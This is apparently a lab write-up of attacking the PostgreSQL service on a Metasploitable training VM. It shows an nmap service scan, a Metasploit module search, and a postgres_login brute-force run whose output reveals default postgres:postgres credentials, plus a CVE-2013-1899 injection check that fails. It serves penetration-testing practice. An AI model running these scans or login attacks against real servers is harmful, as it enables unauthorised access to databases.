Metasploitable/Postgres

This page covers activities on the Metasploitable virtualbox related to the postgresql service that is running.

Recon

Recon

Reminder, the remote machine (Metasploitable) is available at 10.0.0.27.

$ nmap -sS -sV -A 10.0.0.27

Starting Nmap 7.01 ( https://nmap.org ) at 2016-03-22 18:30 PDT
Nmap scan report for 10.0.0.27
Host is up (0.016s latency).
Not shown: 977 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
|_Not valid after:  2010-04-16T14:07:45
|_ssl-date: 2016-03-23T01:31:31+00:00; +33s from scanner time.
53/tcp   open  domain      ISC BIND 9.4.2
| dns-nsid: 
|_  bind.version: 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp  open  rpcbind     2 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2            111/tcp  rpcbind
|   100000  2            111/udp  rpcbind
|   100003  2,3,4       2049/tcp  nfs
|   100003  2,3,4       2049/udp  nfs
|   100005  1,2,3      42810/tcp  mountd
|   100005  1,2,3      45599/udp  mountd
|   100021  1,3,4      34385/tcp  nlockmgr
|   100021  1,3,4      60702/udp  nlockmgr
|   100024  1          38085/udp  status
|_  100024  1          52004/tcp  status
139/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login?
514/tcp  open  tcpwrapped
1099/tcp open  java-rmi    Java RMI Registry
1524/tcp open  shell       Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
| mysql-info: 
|   Protocol: 53
|   Version: .0.51a-3ubuntu5
|   Thread ID: 8
|   Capabilities flags: 43564
|   Some Capabilities: Support41Auth, SupportsTransactions, Speaks41ProtocolNew, SwitchToSSLAfterHandshake, ConnectWithDatabase, LongColumnFlag, SupportsCompression
|   Status: Autocommit
|_  Salt: w$K,8vk7k8tagd@PR*zK
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
| vnc-info: 
|   Protocol version: 3.3
|   Security types: 
|_    Unknown security type (33554432)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         Unreal ircd
| irc-info: 
|   users: 1
|   servers: 1
|   lusers: 1
|   lservers: 0
|   server: irc.Metasploitable.LAN
|   version: Unreal3.2.8.1. irc.Metasploitable.LAN 
|   uptime: 0 days, 1:05:20
|   source ident: nmap
|   source host: 6D4CD63B.D3975B40.7B559A54.IP
|_  error: Closing Link: cxfhgnbdt[10.0.0.25] (Quit: cxfhgnbdt)
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/5.5
MAC Address: 08:00:27:47:98:AD (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts:  metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   NetBIOS computer name: 
|   Workgroup: WORKGROUP
|_  System time: 2016-03-22T21:31:31-04:00

TRACEROUTE
HOP RTT      ADDRESS
1   16.11 ms 10.0.0.27

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.31 seconds

Search Metasploit for Exploits

msf auxiliary(postgres_version) > search postgresql

Matching Modules
================

   Name                                                       Disclosure Date  Rank       Description
   ----                                                       ---------------  ----       -----------
   auxiliary/admin/http/manageengine_pmp_privesc              2014-11-08       normal     ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection
   auxiliary/admin/http/rails_devise_pass_reset               2013-01-28       normal     Ruby on Rails Devise Authentication Password Reset
   auxiliary/admin/postgres/postgres_readfile                                  normal     PostgreSQL Server Generic Query
   auxiliary/admin/postgres/postgres_sql                                       normal     PostgreSQL Server Generic Query
   auxiliary/scanner/postgres/postgres_dbname_flag_injection                   normal     PostgreSQL Database Name Command Line Flag Injection
   auxiliary/scanner/postgres/postgres_login                                   normal     PostgreSQL Login Utility
   auxiliary/scanner/postgres/postgres_version                                 normal     PostgreSQL Version Probe
   auxiliary/server/capture/postgresql                                         normal     Authentication Capture: PostgreSQL
   exploit/linux/postgres/postgres_payload                    2007-06-05       excellent  PostgreSQL for Linux Payload Execution
   exploit/multi/http/manage_engine_dc_pmp_sqli               2014-06-08       excellent  ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection
   exploit/windows/postgres/postgres_payload                  2009-04-10       excellent  PostgreSQL for Microsoft Windows Payload Execution
   post/linux/gather/enum_users_history                                        normal     Linux Gather User History

Scanner

One of the first pieces of information you will need, even before running a brute-force attack on a PostgreSQL login, is a database name.

Postgres login

The postgresql login attack is at

msf > use auxiliary/scanner/postgres/postgres_login

Info

Information/description of the postgres login attack is given below:

Description:
  This module attempts to authenticate against a PostgreSQL instance 
  using username and password combinations indicated by the USER_FILE, 
  PASS_FILE, and USERPASS_FILE options. Note that passwords may be 
  either plaintext or MD5 formatted hashes.

The various options for the postgres login attack are given below:

Basic options:
  Name              Current Setting                                                               Required  Description
  ----              ---------------                                                               --------  -----------
  BLANK_PASSWORDS   false                                                                         no        Try blank passwords for all users
  BRUTEFORCE_SPEED  5                                                                             yes       How fast to bruteforce, from 0 to 5
  DATABASE          template1                                                                     yes       The database to authenticate against
  DB_ALL_CREDS      false                                                                         no        Try each user/password couple stored in the current database
  DB_ALL_PASS       false                                                                         no        Add all passwords in the current database to the list
  DB_ALL_USERS      false                                                                         no        Add all users in the current database to the list
  PASSWORD                                                                                        no        A specific password to authenticate with
  PASS_FILE         /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt      no        File containing passwords, one per line
  Proxies                                                                                         no        A proxy chain of format type:host:port[,type:host:port][...]
  RETURN_ROWSET     true                                                                          no        Set to true to see query result sets
  RHOSTS                                                                                          yes       The target address range or CIDR identifier
  RPORT             5432                                                                          yes       The target port
  STOP_ON_SUCCESS   false                                                                         yes       Stop guessing when a credential works for a host
  THREADS           1                                                                             yes       The number of concurrent threads
  USERNAME          postgres                                                                      no        A specific username to authenticate as
  USERPASS_FILE     /usr/share/metasploit-framework/data/wordlists/postgres_default_userpass.txt  no        File containing (space-seperated) users and passwords, one pair per line
  USER_AS_PASS      false                                                                         no        Try the username as the password for all users
  USER_FILE         /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt      no        File containing users, one per line
  VERBOSE           true                                                                          yes       Whether to print output for all attempts

Set Variables

To do this attack, we will want to set the following variables:

• try blank passwords
• set bruteforce speed to 5
• database - ??? (postgresql, or same databases as mysql)
• password file (see Kali/Wordlists)
• remote hosts 10.0.0.27 (metasploitable machine)
• stop on success true
• username file (contains root, guest, postgres)
• verbose

Things I'm not sure about:

• mainly how you know what database names are

After setting and unsetting a few variable values, we're ready to rock:

msf auxiliary(postgres_login) > show options

Module options (auxiliary/scanner/postgres/postgres_login):

   Name              Current Setting                                                               Required  Description
   ----              ---------------                                                               --------  -----------
   BLANK_PASSWORDS   true                                                                          no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                                                                             yes       How fast to bruteforce, from 0 to 5
   DATABASE          postgresql                                                                    yes       The database to authenticate against
   DB_ALL_CREDS      false                                                                         no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false                                                                         no        Add all passwords in the current database to the list
   DB_ALL_USERS      false                                                                         no        Add all users in the current database to the list
   PASSWORD                                                                                        no        A specific password to authenticate with
   PASS_FILE         /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt      no        File containing passwords, one per line
   Proxies                                                                                         no        A proxy chain of format type:host:port[,type:host:port][...]
   RETURN_ROWSET     true                                                                          no        Set to true to see query result sets
   RHOSTS            10.0.0.27                                                                     yes       The target address range or CIDR identifier
   RPORT             5432                                                                          yes       The target port
   STOP_ON_SUCCESS   false                                                                         yes       Stop guessing when a credential works for a host
   THREADS           1                                                                             yes       The number of concurrent threads
   USERNAME          root                                                                          no        A specific username to authenticate as
   USERPASS_FILE     /usr/share/metasploit-framework/data/wordlists/postgres_default_userpass.txt  no        File containing (space-seperated) users and passwords, one pair per line
   USER_AS_PASS      false                                                                         no        Try the username as the password for all users
   USER_FILE         /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt      no        File containing users, one per line
   VERBOSE           true                                                                          yes       Whether to print output for all attempts

First Results

First results from running the exploit show that we have one guess where the username and password are correct but the database name is not. Here, the postgres database has a username postgres and a password postgres, but the database is not named postgres:

msf auxiliary(postgres_login) > run

[-] 10.0.0.27:5432 POSTGRES - LOGIN FAILED: root:@postgresql (Incorrect: Invalid username or password)
[-] 10.0.0.27:5432 POSTGRES - LOGIN FAILED: postgres:postgres@postgresql (Incorrect: C3D000, Creds were good but database was bad)
[-] 10.0.0.27:5432 POSTGRES - LOGIN FAILED: postgres:password@postgresql (Incorrect: Invalid username or password)
[-] 10.0.0.27:5432 POSTGRES - LOGIN FAILED: postgres:admin@postgresql (Incorrect: Invalid username or password)
[-] 10.0.0.27:5432 POSTGRES - LOGIN FAILED: admin:admin@postgresql (Incorrect: Invalid username or password)
[-] 10.0.0.27:5432 POSTGRES - LOGIN FAILED: admin:password@postgresql (Incorrect: Invalid username or password)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Unfortunately, if we are trying to brute-force this login with a huge list of credentials, and we happen to find the correct credentials, we would never know: the "C3D000" error message would fly by, telling us we had correctly guessed the username and password but not the dbname, and it would be forever lost unless we were capturing output to a console. That's also wasted time.

Postgres dbname flag injection

This is a pretty hefty exploit that gives you a foothold in a machine. However, it won't work on this metasploitable virtualbox.

Use the postgres_dbname_flag_injection exploit:

msf > use auxiliary/scanner/postgres/postgres_dbname_flag_injection 

Information about Exploit

These two commands will show some basic and advanced information about the exploit:

msf auxiliary(postgres_dbname_flag_injection) > info auxiliary/scanner/postgres/postgres_dbname_flag_injection 
msf auxiliary(postgres_dbname_flag_injection) > advanced auxiliary/scanner/postgres/postgres_dbname_flag_injection 

Here is the output of basic information:

msf auxiliary(postgres_dbname_flag_injection) > info auxiliary/scanner/postgres/postgres_dbname_flag_injection Name: PostgreSQL Database Name Command Line Flag Injection Module: auxiliary/scanner/postgres/postgres_dbname_flag_injection License: Metasploit Framework License (BSD) Rank: Normal Provided by: hdm <x@hdm.io> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 5432 yes The target port THREADS 1 yes The number of concurrent threads Description: This module can identify PostgreSQL 9.0, 9.1, and 9.2 servers that are vulnerable to command-line flag injection through CVE-2013-1899. This can lead to denial of service, privilege escalation, or even arbitrary code execution. References: http://cvedetails.com/cve/2013-1899/ http://www.postgresql.org/support/security/faq/2013-04-04/ We can show the basic options: msf auxiliary(postgres_dbname_flag_injection) > show options Module options (auxiliary/scanner/postgres/postgres_dbname_flag_injection): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 5432 yes The target port THREADS 1 yes The number of concurrent threads <pre> msf auxiliary(postgres_dbname_flag_injection) > set RHOSTS 10.0.0.27 RHOSTS => 10.0.0.27 msf auxiliary(postgres_dbname_flag_injection) > set RPORT 5432 RPORT => 5432

Now we can show the advanced options:

msf auxiliary(postgres_dbname_flag_injection) > advanced Module advanced options (auxiliary/scanner/postgres/postgres_dbname_flag_injection): Name  : CHOST Current Setting: Description  : The local client address Name  : CPORT Current Setting: Description  : The local client port Name  : ConnectTimeout Current Setting: 10 Description  : Maximum number of seconds to establish a TCP connection Name  : Proxies Current Setting: Description  : A proxy chain of format type:host:port[,type:host:port][...] Name  : SSL Current Setting: false Description  : Negotiate SSL for outgoing connections Name  : SSLCipher Current Setting: Description  : String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH" Name  : SSLVerifyMode Current Setting: PEER Description  : SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER) Name  : SSLVersion Current Setting: TLS1 Description  : Specify the version of SSL/TLS to be used (TLS and SSL23 are auto-negotiate) (Accepted: SSL2, SSL3, SSL23, TLS, TLS1, TLS1.1, TLS1.2) Name  : ShowProgress Current Setting: true Description  : Display progress messages during a scan Name  : ShowProgressPercent Current Setting: 10 Description  : The interval in percent that progress should be shown Name  : VERBOSE Current Setting: false Description  : Enable detailed status messages Name  : WORKSPACE Current Setting: Description  : Specify the workspace for this module

When an Exploit Doesn't Work

This version of PostgreSQL is actually too old to be vulnerable to the postgres_dbname_flag_injection exploit.

msf auxiliary(postgres_dbname_flag_injection) > set RHOSTS 10.0.0.27
RHOSTS => 10.0.0.27
msf auxiliary(postgres_dbname_flag_injection) > run

[*] 10.0.0.27:5432 does not appear to be vulnerable to CVE-2013-1899
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed